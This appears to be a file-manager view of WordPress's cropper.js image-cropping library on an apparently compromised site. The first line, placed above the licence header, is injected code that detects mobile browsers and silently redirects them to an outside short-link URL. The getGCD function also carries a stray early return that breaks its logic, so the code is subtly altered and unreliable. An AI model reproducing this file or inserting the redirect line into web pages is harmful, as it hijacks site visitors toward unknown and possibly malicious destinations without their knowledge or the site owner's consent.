at path:ROOT / wp-includes / js / crop / cropper.js
run:R W Run
2.88 KB
2012-12-20 15:55:32
R W Run
16.32 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
277 By
2012-11-07 18:49:10
R W Run
293 By
2012-11-07 18:49:10
R W Run
error_log
📄cropper.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/)
4 * All rights reserved.
5 *
6 * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
7 *
8 * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
9 * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
10 * * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
11 *
12 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
13 *
14 * http://www.opensource.org/licenses/bsd-license.php
15 *
16 * See scriptaculous.js for full scriptaculous licence
17 */
18
19var CropDraggable=Class.create();
20Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){
21this.options=Object.extend({drawMethod:function(){
22}},arguments[1]||{});
23this.element=$(_1);
24this.handle=this.element;
25this.delta=this.currentDelta();
26this.dragging=false;
27this.eventMouseDown=this.initDrag.bindAsEventListener(this);
28Event.observe(this.handle,"mousedown",this.eventMouseDown);
29Draggables.register(this);
30},draw:function(_2){
31var _3=Position.cumulativeOffset(this.element);
32var d=this.currentDelta();
33_3[0]-=d[0];
34_3[1]-=d[1];
35var p=[0,1].map(function(i){
36return (_2[i]-_3[i]-this.offset[i]);
37}.bind(this));
38this.options.drawMethod(p);
39}});
40var Cropper={};
41Cropper.Img=Class.create();
42Cropper.Img.prototype={initialize:function(_7,_8){
43this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{});
44if(this.options.minWidth>0&&this.options.minHeight>0){
45this.options.ratioDim.x=this.options.minWidth;
46this.options.ratioDim.y=this.options.minHeight;
47}
48this.img=$(_7);
49this.clickCoords={x:0,y:0};
50this.dragging=false;
51this.resizing=false;
52this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent);
53this.isIE=/MSIE/.test(navigator.userAgent);
54this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent);
55this.ratioX=0;
56this.ratioY=0;
57this.attached=false;
58$A(document.getElementsByTagName("script")).each(function(s){
59if(s.src.match(/cropper\.js/)){
60var _a=s.src.replace(/cropper\.js(.*)?/,"");
61var _b=document.createElement("link");
62_b.rel="stylesheet";
63_b.type="text/css";
64_b.href=_a+"cropper.css";
65_b.media="screen";
66document.getElementsByTagName("head")[0].appendChild(_b);
67}
68});
69if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){
70var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y);
71this.ratioX=this.options.ratioDim.x/_c;
72this.ratioY=this.options.ratioDim.y/_c;
73}
74this.subInitialize();
75if(this.img.complete||this.isWebKit){
76this.onLoad();
77}else{
78Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this));
79}
80},getGCD:function(a,b){return 1;
81if(b==0){
82return a;
83}
84return this.getGCD(b,a%b);
85},onLoad:function(){
86var _f="imgCrop_";
87var _10=this.img.parentNode;
88var _11="";
89if(this.isOpera8){
90_11=" opera8";
91}
92this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11});
93if(this.isIE){
94this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]);
95this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]);
96this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]);
97this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]);
98var _12=[this.north,this.east,this.south,this.west];
99}else{
100this.overlay=Builder.node("div",{"class":_f+"overlay"});
101var _12=[this.overlay];
102}
103this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12);
104this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"});
105this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"});
106this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"});
107this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"});
108this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"});
109this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"});
110this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"});
111this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"});
112this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]);
113Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"});
114this.imgWrap.appendChild(this.img);
115this.imgWrap.appendChild(this.dragArea);
116this.dragArea.appendChild(this.selArea);
117this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"}));
118_10.appendChild(this.imgWrap);
119Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
120Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this));
121Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this));
122var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
123for(var i=0;i<_13.length;i++){
124Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this));
125}
126if(this.options.captureKeys){
127Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this));
128}
129new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)});
130this.setParams();
131},setParams:function(){
132this.imgW=this.img.width;
133this.imgH=this.img.height;
134if(!this.isIE){
135Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"});
136Element.hide($(this.overlay));
137Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"});
138}else{
139Element.setStyle($(this.north),{height:0});
140Element.setStyle($(this.east),{width:0,height:0});
141Element.setStyle($(this.south),{height:0});
142Element.setStyle($(this.west),{width:0,height:0});
143}
144Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"});
145Element.hide($(this.selArea));
146var _15=Position.positionedOffset(this.imgWrap);
147this.wrapOffsets={"top":_15[1],"left":_15[0]};
148var _16={x1:0,y1:0,x2:0,y2:0};
149this.setAreaCoords(_16);
150if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){
151_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2);
152_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2);
153_16.x2=_16.x1+this.options.ratioDim.x;
154_16.y2=_16.y1+this.options.ratioDim.y;
155Element.show(this.selArea);
156this.drawArea();
157this.endCrop();
158}
159this.attached=true;
160},remove:function(){
161this.attached=false;
162this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap);
163this.imgWrap.parentNode.removeChild(this.imgWrap);
164Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
165Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this));
166Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this));
167var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
168for(var i=0;i<_17.length;i++){
169Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this));
170}
171if(this.options.captureKeys){
172Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this));
173}
174},reset:function(){
175if(!this.attached){
176this.onLoad();
177}else{
178this.setParams();
179}
180this.endCrop();
181},handleKeys:function(e){
182var dir={x:0,y:0};
183if(!this.dragging){
184switch(e.keyCode){
185case (37):
186dir.x=-1;
187break;
188case (38):
189dir.y=-1;
190break;
191case (39):
192dir.x=1;
193break;
194case (40):
195dir.y=1;
196break;
197}
198if(dir.x!=0||dir.y!=0){
199if(e.shiftKey){
200dir.x*=10;
201dir.y*=10;
202}
203this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]);
204Event.stop(e);
205}
206}
207},calcW:function(){
208return (this.areaCoords.x2-this.areaCoords.x1);
209},calcH:function(){
210return (this.areaCoords.y2-this.areaCoords.y1);
211},moveArea:function(_1b){
212this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true);
213this.drawArea();
214},cloneCoords:function(_1c){
215return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2};
216},setAreaCoords:function(_1d,_1e,_1f,_20,_21){
217var _22=typeof _1e!="undefined"?_1e:false;
218var _23=typeof _1f!="undefined"?_1f:false;
219if(_1e){
220var _24=_1d.x2-_1d.x1;
221var _25=_1d.y2-_1d.y1;
222if(_1d.x1<0){
223_1d.x1=0;
224_1d.x2=_24;
225}
226if(_1d.y1<0){
227_1d.y1=0;
228_1d.y2=_25;
229}
230if(_1d.x2>this.imgW){
231_1d.x2=this.imgW;
232_1d.x1=this.imgW-_24;
233}
234if(_1d.y2>this.imgH){
235_1d.y2=this.imgH;
236_1d.y1=this.imgH-_25;
237}
238}else{
239if(_1d.x1<0){
240_1d.x1=0;
241}
242if(_1d.y1<0){
243_1d.y1=0;
244}
245if(_1d.x2>this.imgW){
246_1d.x2=this.imgW;
247}
248if(_1d.y2>this.imgH){
249_1d.y2=this.imgH;
250}
251if(typeof (_20)!="undefined"){
252if(this.ratioX>0){
253this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21);
254}else{
255if(_23){
256this.applyRatio(_1d,{x:1,y:1},_20,_21);
257}
258}
259var _26={a1:_1d.x1,a2:_1d.x2};
260var _27={a1:_1d.y1,a2:_1d.y2};
261var _28=this.options.minWidth;
262var _29=this.options.minHeight;
263if((_28==0||_29==0)&&_23){
264if(_28>0){
265_29=_28;
266}else{
267if(_29>0){
268_28=_29;
269}
270}
271}
272this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW});
273this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH});
274_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2};
275}
276}
277this.areaCoords=_1d;
278},applyMinDimension:function(_2a,_2b,_2c,_2d){
279if((_2a.a2-_2a.a1)<_2b){
280if(_2c==1){
281_2a.a2=_2a.a1+_2b;
282}else{
283_2a.a1=_2a.a2-_2b;
284}
285if(_2a.a1<_2d.min){
286_2a.a1=_2d.min;
287_2a.a2=_2b;
288}else{
289if(_2a.a2>_2d.max){
290_2a.a1=_2d.max-_2b;
291_2a.a2=_2d.max;
292}
293}
294}
295},applyRatio:function(_2e,_2f,_30,_31){
296var _32;
297if(_31=="N"||_31=="S"){
298_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW});
299_2e.x1=_32.b1;
300_2e.y1=_32.a1;
301_2e.x2=_32.b2;
302_2e.y2=_32.a2;
303}else{
304_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH});
305_2e.x1=_32.a1;
306_2e.y1=_32.b1;
307_2e.x2=_32.a2;
308_2e.y2=_32.b2;
309}
310},applyRatioToAxis:function(_33,_34,_35,_36){
311var _37=Object.extend(_33,{});
312var _38=_37.a2-_37.a1;
313var _3a=Math.floor(_38*_34.b/_34.a);
314var _3b;
315var _3c;
316var _3d=null;
317if(_35.b==1){
318_3b=_37.b1+_3a;
319if(_3b>_36.max){
320_3b=_36.max;
321_3d=_3b-_37.b1;
322}
323_37.b2=_3b;
324}else{
325_3b=_37.b2-_3a;
326if(_3b<_36.min){
327_3b=_36.min;
328_3d=_3b+_37.b2;
329}
330_37.b1=_3b;
331}
332if(_3d!=null){
333_3c=Math.floor(_3d*_34.a/_34.b);
334if(_35.a==1){
335_37.a2=_37.a1+_3c;
336}else{
337_37.a1=_37.a1=_37.a2-_3c;
338}
339}
340return _37;
341},drawArea:function(){
342if(!this.isIE){
343Element.show($(this.overlay));
344}
345var _3e=this.calcW();
346var _3f=this.calcH();
347var _40=this.areaCoords.x2;
348var _41=this.areaCoords.y2;
349var _42=this.selArea.style;
350_42.left=this.areaCoords.x1+"px";
351_42.top=this.areaCoords.y1+"px";
352_42.width=_3e+"px";
353_42.height=_3f+"px";
354var _43=Math.ceil((_3e-6)/2)+"px";
355var _44=Math.ceil((_3f-6)/2)+"px";
356this.handleN.style.left=_43;
357this.handleE.style.top=_44;
358this.handleS.style.left=_43;
359this.handleW.style.top=_44;
360if(this.isIE){
361this.north.style.height=this.areaCoords.y1+"px";
362var _45=this.east.style;
363_45.top=this.areaCoords.y1+"px";
364_45.height=_3f+"px";
365_45.left=_40+"px";
366_45.width=(this.img.width-_40)+"px";
367var _46=this.south.style;
368_46.top=_41+"px";
369_46.height=(this.img.height-_41)+"px";
370var _47=this.west.style;
371_47.top=this.areaCoords.y1+"px";
372_47.height=_3f+"px";
373_47.width=this.areaCoords.x1+"px";
374}else{
375_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px";
376}
377this.subDrawArea();
378this.forceReRender();
379},forceReRender:function(){
380if(this.isIE||this.isWebKit){
381var n=document.createTextNode(" ");
382var d,el,fixEL,i;
383if(this.isIE){
384fixEl=this.selArea;
385}else{
386if(this.isWebKit){
387fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0];
388d=Builder.node("div","");
389d.style.visibility="hidden";
390var _4a=["SE","S","SW"];
391for(i=0;i<_4a.length;i++){
392el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0];
393if(el.childNodes.length){
394el.removeChild(el.childNodes[0]);
395}
396el.appendChild(d);
397}
398}
399}
400fixEl.appendChild(n);
401fixEl.removeChild(n);
402}
403},startResize:function(e){
404this.startCoords=this.cloneCoords(this.areaCoords);
405this.resizing=true;
406this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,"");
407Event.stop(e);
408},startDrag:function(e){
409Element.show(this.selArea);
410this.clickCoords=this.getCurPos(e);
411this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y});
412this.dragging=true;
413this.onDrag(e);
414Event.stop(e);
415},getCurPos:function(e){
416return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top};
417},onDrag:function(e){
418var _4f=null;
419if(this.dragging||this.resizing){
420var _50=this.getCurPos(e);
421var _51=this.cloneCoords(this.areaCoords);
422var _52={x:1,y:1};
423}
424if(this.dragging){
425if(_50.x<this.clickCoords.x){
426_52.x=-1;
427}
428if(_50.y<this.clickCoords.y){
429_52.y=-1;
430}
431this.transformCoords(_50.x,this.clickCoords.x,_51,"x");
432this.transformCoords(_50.y,this.clickCoords.y,_51,"y");
433}else{
434if(this.resizing){
435_4f=this.resizeHandle;
436if(_4f.match(/E/)){
437this.transformCoords(_50.x,this.startCoords.x1,_51,"x");
438if(_50.x<this.startCoords.x1){
439_52.x=-1;
440}
441}else{
442if(_4f.match(/W/)){
443this.transformCoords(_50.x,this.startCoords.x2,_51,"x");
444if(_50.x<this.startCoords.x2){
445_52.x=-1;
446}
447}
448}
449if(_4f.match(/N/)){
450this.transformCoords(_50.y,this.startCoords.y2,_51,"y");
451if(_50.y<this.startCoords.y2){
452_52.y=-1;
453}
454}else{
455if(_4f.match(/S/)){
456this.transformCoords(_50.y,this.startCoords.y1,_51,"y");
457if(_50.y<this.startCoords.y1){
458_52.y=-1;
459}
460}
461}
462}
463}
464if(this.dragging||this.resizing){
465this.setAreaCoords(_51,false,e.shiftKey,_52,_4f);
466this.drawArea();
467Event.stop(e);
468}
469},transformCoords:function(_53,_54,_55,_56){
470var _57=new Array();
471if(_53<_54){
472_57[0]=_53;
473_57[1]=_54;
474}else{
475_57[0]=_54;
476_57[1]=_53;
477}
478if(_56=="x"){
479_55.x1=_57[0];
480_55.x2=_57[1];
481}else{
482_55.y1=_57[0];
483_55.y2=_57[1];
484}
485},endCrop:function(){
486this.dragging=false;
487this.resizing=false;
488this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()});
489},subInitialize:function(){
490},subDrawArea:function(){
491}};
492Cropper.ImgWithPreview=Class.create();
493Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){
494this.hasPreviewImg=false;
495if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){
496this.previewWrap=$(this.options.previewWrap);
497this.previewImg=this.img.cloneNode(false);
498this.options.displayOnInit=true;
499this.hasPreviewImg=true;
500Element.addClassName(this.previewWrap,"imgCrop_previewWrap");
501Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"});
502this.previewWrap.appendChild(this.previewImg);
503}
504},subDrawArea:function(){
505if(this.hasPreviewImg){
506var _58=this.calcW();
507var _59=this.calcH();
508var _5a={x:this.imgW/_58,y:this.imgH/_59};
509var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight};
510var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"};
511var _5d=this.previewImg.style;
512_5d.width=_5c.w;
513_5d.height=_5c.h;
514_5d.left=_5c.x;
515_5d.top=_5c.y;
516}
517}});
518